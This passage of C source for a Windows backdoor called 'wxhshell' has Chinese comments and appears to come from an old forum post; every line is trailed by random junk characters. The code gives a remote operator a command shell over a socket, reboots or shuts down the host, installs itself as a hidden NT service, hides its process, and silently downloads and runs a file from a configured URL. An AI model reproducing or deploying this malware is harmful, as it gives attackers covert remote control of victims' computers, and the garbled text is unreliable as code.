  case 'i': { D_Y;N3E/rS  
    if(Install()) FWg7 e3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7nmo p7  
    else z( wXs&z;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {/ta1&xyG  
    break; '' 6  
    } 4rm/+Zes  
  // 卸载 cu-WY8n  
  case 'r': { Ty=}A MMyE  
    if(Uninstall()) m| Z)h{&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VZ8L9h<{"  
    else Qxwe,:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H|Ems}b  
    break; a|.u;  
    } )-(NL!?`  
  // 显示 wxhshell 所在路径 o0 Ae*Y0  
  case 'p': { <  -Nj  
    char svExeFile[MAX_PATH]; z2V!u\It  
    strcpy(svExeFile,"\n\r"); D)5wGp  
      strcat(svExeFile,ExeFile); VI?[8@*Z  
        send(wsh,svExeFile,strlen(svExeFile),0); "q$M\jK#V  
    break;  X_lNnk  
    } nB.p}k  
  // 重启 ]arP6 iN+  
  case 'b': { !duR7a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E O5Vg  
    if(Boot(REBOOT)) gP3[=a"\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Ii=8etdv  
    else { pPE4~g 05h  
    closesocket(wsh); <~d N23)  
    ExitThread(0); 4P8:aZM  
    } y ;;@T X  
    break; :9<5GF(  
    } L-XTIL$$  
  // 关机 S'txY\  
  case 'd': { R`c5-0A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4T:ZEvdzf  
    if(Boot(SHUTDOWN)) 4Xz|HU?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _#+i;$cO-X  
    else { 'Gk|&^  
    closesocket(wsh); W;=ZQ5Lw  
    ExitThread(0); \21!NPXH2  
    } bu]bfnYi9  
    break; GB#7w82  
    } wNlp4Z'[  
  // 获取shell fRiHs\+  
  case 's': { 8L:0Wp  
    CmdShell(wsh); OHU(?TBo  
    closesocket(wsh); >a<;)K^1  
    ExitThread(0); ;/v^@  
    break; u>BR WN  
  } %vW@_A~  
  // 退出 PYZ8@G  
  case 'x': { kW"N~Xw)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m`/OO;/;  
    CloseIt(wsh); s SDBl~g  
    break; ZR1EtvVG  
    } aa|xZ  
  // 离开 C-8@elZ1  
  case 'q': { YJ6Xq||_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k@?<Aw8 _X  
    closesocket(wsh); E:2Or~  
    WSACleanup(); NunT1ved  
    exit(1); Af;$}P  
    break; ="V6z$N  
        } LVSJK.B  
  } mz47lv1?  
  } "h "vp&A  
C`fQ` RL\  
  // 提示信息 |q?A8@\u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^W^%PJ D |  
} [|vd r.  
  } ;*8$BuD  
.k}h'nE  
  return; )/UkJ/}j  
} Qk((H~I}  
d;`JDT  
// shell模块句柄 dI`b AP;\  
int CmdShell(SOCKET sock) y@F{pr+dA  
{ !^y'G0  
STARTUPINFO si; :>|[ o&L  
ZeroMemory(&si,sizeof(si)); ).\%a h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `,J\E<4J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L9T|*?||  
PROCESS_INFORMATION ProcessInfo; _s^sZ{'2_  
char cmdline[]="cmd"; 'h$1vT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T5ol2  
  return 0; :p89J\  
} _f/6bpv  
bi QDupTz  
// 自身启动模式 D_g+O"];P  
int StartFromService(void) ]`LMy t0  
{ .RdnJ&K*  
typedef struct z Mtx>VI  
{ LKhUqW  
  DWORD ExitStatus; y:mXv<g  
  DWORD PebBaseAddress; V V<Zl  
  DWORD AffinityMask; o]@?QAu  
  DWORD BasePriority; LqNsQu";  
  ULONG UniqueProcessId; _k&vW(O=:  
  ULONG InheritedFromUniqueProcessId; :AL nm0d  
}   PROCESS_BASIC_INFORMATION; O9bIo]B  
kIyif7  
PROCNTQSIP NtQueryInformationProcess; mk}8Cu4  
1$4dzI()  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f mf(5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n*uT  
#}o*1  
  HANDLE             hProcess; 3:s!0ty"  
  PROCESS_BASIC_INFORMATION pbi; -GH>12YP  
:U=*@p4?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dW6sA65<Y  
  if(NULL == hInst ) return 0; MGK%F#PM  
T)MKhK9\Ab  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k*J0K=U|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d-y8c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NSZ9M%7  
W;Ct[Y 8m  
  if (!NtQueryInformationProcess) return 0; $/K<hT_  
?g}G#j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,VI2dNst\  
  if(!hProcess) return 0; 6YNd;,it>p  
_vm~yKId  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eot%T h?[  
`@RTfBB g  
  CloseHandle(hProcess);  _->d41  
EJrP{GH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iU+O(vi  
if(hProcess==NULL) return 0; xQ%N% `  
=A{F&:+a]  
HMODULE hMod; ) vn {?Ulj  
char procName[255]; ;ry~x:7L7  
unsigned long cbNeeded; Pd)mLs Jg  
3VaL%+T$,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I|(r1.[K  
fYSH]!  
  CloseHandle(hProcess); |P@N}P@  
,R. rxoO  
if(strstr(procName,"services")) return 1; // 以服务启动 gu|=uW K  
Wn2'uZ5If  
  return 0; // 注册表启动 BMug7xl"  
} -^+fZBU;  
^hNl6)hR  
// 主模块 8yk7d76Y  
int StartWxhshell(LPSTR lpCmdLine) -U*J5Q  
{ Qo32oT[DM  
  SOCKET wsl; ,BUrZA2\U$  
BOOL val=TRUE; 1oe,>\\  
  int port=0; >dx/k)~~-L  
  struct sockaddr_in door; `*6|2  
[;H-HpBaa  
  if(wscfg.ws_autoins) Install(); t W+"/<U  
_o[fjd  
port=atoi(lpCmdLine); /k8I6  
<?s@-mpgN  
if(port<=0) port=wscfg.ws_port; ]~2iducB,  
)xq=V  
  WSADATA data; v*[UG^+)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 47N,jVt4  
_K}q%In  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nrHC;R.nE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aq)g&.dw?  
  door.sin_family = AF_INET; DkX^b:D*f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }`kiULC'=  
  door.sin_port = htons(port); A'BqNsy  
{n|ah{_p|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  9u^M{6  
closesocket(wsl); .W^B(y(tA  
return 1; EB| iW2'  
} dP?prT  
K[kK8i+(  
  if(listen(wsl,2) == INVALID_SOCKET) {  QEg[  
closesocket(wsl); ~Oa$rqu%m  
return 1; eZEk$W%  
} fX]`vjM{  
  Wxhshell(wsl); r1}^\C  
  WSACleanup(); "MU-&**  
<pfl>Uf  
return 0; 2TU V9Z  
& XmaGtt  
} f";pfu_FZ  
[I=|"Ic~  
// 以NT服务方式启动 rCwE$5 b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [3"F$?e5  
{ vn+XY =Qnr  
DWORD   status = 0; gUNhN1=  
  DWORD   specificError = 0xfffffff; G&xtL  
Pr1q X5>=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _aR{B-E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Kf1J;*i|\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {;DAKWm@T  
  serviceStatus.dwWin32ExitCode     = 0; gu3iaM$W  
  serviceStatus.dwServiceSpecificExitCode = 0; 9j|v D  
  serviceStatus.dwCheckPoint       = 0; +@=V}IO  
  serviceStatus.dwWaitHint       = 0; yAfwQ$Ll7  
 q[ _qZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yfK}1mx)j  
  if (hServiceStatusHandle==0) return; X8VBs#tLE  
)i}j\";>L  
status = GetLastError(); OL>)SJj5  
  if (status!=NO_ERROR) H.\`(`6  
{ a;t}'GQGk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ._^}M<o L  
    serviceStatus.dwCheckPoint       = 0; 0W(mx-[H/  
    serviceStatus.dwWaitHint       = 0;  ][wb4$2  
    serviceStatus.dwWin32ExitCode     = status; o>_})WM1[  
    serviceStatus.dwServiceSpecificExitCode = specificError; rw,Ylr :3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ])wdd>'  
    return; @>HTbs6W  
  } i+h*<){X  
iI{L>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; < mQXS87  
  serviceStatus.dwCheckPoint       = 0; HD^#"  
  serviceStatus.dwWaitHint       = 0; 6LBdTnzUd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jd](m:eG  
} nS04Ha  
.26mB Xr  
// 处理NT服务事件,比如:启动、停止 K f/[Edn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q0NFz mG  
{ W}f)VC;D  
switch(fdwControl) nd]SI;<  
{ (da`aRVDp  
case SERVICE_CONTROL_STOP: o5bp~.m<  
  serviceStatus.dwWin32ExitCode = 0; 1ZI1+TDH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M@R"-$Z  
  serviceStatus.dwCheckPoint   = 0; G9f6'5 O  
  serviceStatus.dwWaitHint     = 0; eCYPd-d  
  { Fp/{L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C3}:DIn"w  
  } 3]l)uoNt/  
  return; ~ubvdQEW  
case SERVICE_CONTROL_PAUSE: hI'WfF!X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F{0\a;U@^  
  break; !l9{R8m>eJ  
case SERVICE_CONTROL_CONTINUE: pcy;]U ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^O18\a  
  break; !?nbB2,  
case SERVICE_CONTROL_INTERROGATE: {4D`VfX_  
  break; m+0yf(w  
}; _ocCt XI9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x~V[}4E%>  
} 6nZ]y&$G-k  
4yxQq7 m,  
// 标准应用程序主函数 0G+Q^]0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nF@**,C Q  
{ {V6&((E8  
#7i*Diqf9  
// 获取操作系统版本 )i~AXBt}  
OsIsNt=GetOsVer(); iApq!u,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); & Q3Fgj  
,AP0*Ln  
  // 从命令行安装 eX+36VG\  
  if(strpbrk(lpCmdLine,"iI")) Install(); w*-42r3,'  
U?UU] >Q  
  // 下载执行文件 (9Zvr4.f7  
if(wscfg.ws_downexe) { YNr"]SA@;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B&]`OO>O  
  WinExec(wscfg.ws_filenam,SW_HIDE); M7TLQqaF  
} 2!{D~Gfl=  
/'sv7hg+  
if(!OsIsNt) { w\)K0RN  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,U~A=bsa  
HideProc(); h3o'T=`Sm  
StartWxhshell(lpCmdLine); suY47DCX)  
} zMsup4cl  
else (`1i o  
  if(StartFromService()) =SJ#6uFS  
  // 以服务方式启动 hzo> :U  
  StartServiceCtrlDispatcher(DispatchTable); G?s9c0f  
else o;$xN3f,  
  // 普通方式启动 'JOUx_@z  
  StartWxhshell(lpCmdLine); ;7'O=%  
$Zu?Gd?  
return 0; +V4)><  
}
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只看该作者 1 发表于: 2006-10-10
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